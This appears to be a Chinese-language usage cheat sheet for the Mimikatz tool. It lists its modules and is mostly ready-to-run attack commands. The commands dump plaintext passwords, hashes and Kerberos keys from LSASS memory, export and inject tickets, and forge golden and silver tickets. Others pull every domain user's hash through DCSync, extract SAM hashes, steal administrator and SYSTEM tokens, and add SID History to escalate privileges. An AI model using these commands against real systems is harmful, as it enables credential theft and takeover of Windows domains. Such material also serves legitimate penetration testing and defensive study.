mimikatz使用

1. standard模块

与Kekeo工具的Standard模块功能一样

Note
  • exit 退出
  • cls 清屏
  • answer 回答关于生命、宇宙、和一切的终极问题
  • coffee 打印一个咖啡图形
  • sleep 睡眠时间为1ms
  • log 打印日志到文件
  • base64 用于input/output对于base64的支持
  • version 显示版本
  • cd 切换目录
  • localtime 查看当前时间

2. 其他模块

Note
  • crypto 加密模块
  • sekurlsa 用来枚举凭据的命令
  • kerberos包模块
  • ngc 下一代密码学模块
  • privilege 提权模块
  • process 进程模块
  • service 服务模块
  • lsadump模块
  • ts 终端服务器模块
  • event 事件模块
  • misc 杂项模块
  • token 令牌操作模块
  • vault Windows凭据模块
  • minesweeper模块
  • dpapi模块
  • busylight模块
  • sysenv 系统环境值模块
  • sid 安全标识符模块
  • iis IIS XML配置模块
  • rpc RPC控制
  • sr98设备和T5577目标模块
  • acr ACR模块

其中常用的是privilege、sekurlsa、kerberos、lsadump、token、sid模块

3. privilege模块

该模块是用于提权的模块,很多模块需要高权限运行,所以要先进行提权,只能用具有管理员权限的命令行窗口才可以执行成功,普通用户使用提权命令会失败

privilege::debug

4. sekurlsa模块

使用该模块需要高权限,因此需要执行提权命令,如下是常用命令

# 只抓取内存中保存的用户明文密码
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit

# 只抓取内存中保存的用户Hash
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit

# 只抓取内存中保存的用户密码的Key值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

# 抓取内存中保存的用户所有凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 加载dmp文件,并导出其中的明文密码
procdump.exe -accepteula -ma lsass.exe lsass.dmp
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

# 导出lsass.exe 进程中所有的票据
sekurlsa::tickets /export

从server2012开始,默认情况下,内存中不保存用户的 明文密码

5. kerberos模块

该模块是与Kerberos相关的模块

# 查看内存中的kerberos TGT
mimikatz.exe "kerberos::tgt" exit

# 查看内存中所有的Kerberos票据
mimikatz.exe "kerberos::list" exit

# 清除票据
mimikatz.exe "kerberos::purge" exit

# 将票据注入到内存中
mimikatz.exe "kerberos::ptt administrator.kirbi" exit

# 黄金票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /krbtgt:krbtgt的哈希或AES Key /ptt

# 白银票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /target:服务机器 /service:指定服务如cifs、ldap /rc4:服务账户的Hash /ptt

6. lsadump模块

此模块是对Local Security Authiruty(LSA)进行密码抓取的模块

# 通过DSync导出指定用户的Hash,格式化输出
lsadump::dcsync /domain:god.org /user:krbtgt /csv

# 通过DSync导出指定用户的密码Hash的详细信息
lsadump::dcsync /domain:god.org /user:krbtgt

# 通过DSync导出所有用户的Hash
lsadump::dcsync /domain:god.org /all /csv

# 读取所有域用户的Hash,需要在域控上以管理员权限打开窗口
privilege::debug
lsadump::lsa /patch

# 从sam.hive和system.hive文件中获得NTLM Hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive

# 从本地SAM文件中读取密码Hash
privilege::debug
token::elevate
lsadump::sam

7. token模块

# 列出当前进程的token信息
token::whoami
token::whoami /full

# 列出当前系统中存在的token,高权限流出的token最全面
token::list

# 窃取指定token id的token
token::elevate /id

# 窃取System权限的token(默认)
token::elevate /system

# 窃取域管理员的token
token::elevate /domainadmin

# 窃取企业管理员的token
token::elevate /enterpriseadmin

# 窃取本地管理员的token
token::elevate /admin

# 窃取Local Service权限的token
token::elevate /localservice

# 窃取Network service权限的token
token::elevate /networkservice

# 恢复为之前的token
token::revert

8. sid模块

# 查询指定对象的SID
sid::lookup /name:xuan

# 查询指定SID对应的对象
sid::lookup /sid:S-1-5-21-1982601180-2087634876-2293013296-1001

# 通过samAccountName属性查询对象的一些信息
sid::query /sam:lzx

# 通过SID属性查询对象的一些信息
sid::query /sid:S-1-5-21-2952760202-1353902439-2381784089-1109

# 通过samAccountName属性修改对象的SID
sid::patch
sid::modify /sam:liu /new:S-1-5-21-2952760202-1353902439-2381784089-109

# 通过sid属性修改对象的SID
sid::patch
sid::modify /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-2952760202-1353902439-2381784089-109

# 通过samAccountName属性给对象添加一个SID History属性
sid::patch
sid::add /sam:lzx /new:S-1-5-21-2952760202-1353902439-2381784089-109

# 通过sid属性给对象添加一个SID History属性
sid::patch
sid::add /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-2952760202-1353902439-2381784089-109

# 将administrator的SID添加到test的SID History属性中
sid::patch
sid::add /sam:lzx /new:administrator

# 清除指定samAccountName对象的SID History属性
sid::clear /sam:xuan

# 清除指定sid对象的SID History属性
sid::clear /sid:S-1-5-21-1982601180-2087634876-2293013296-1001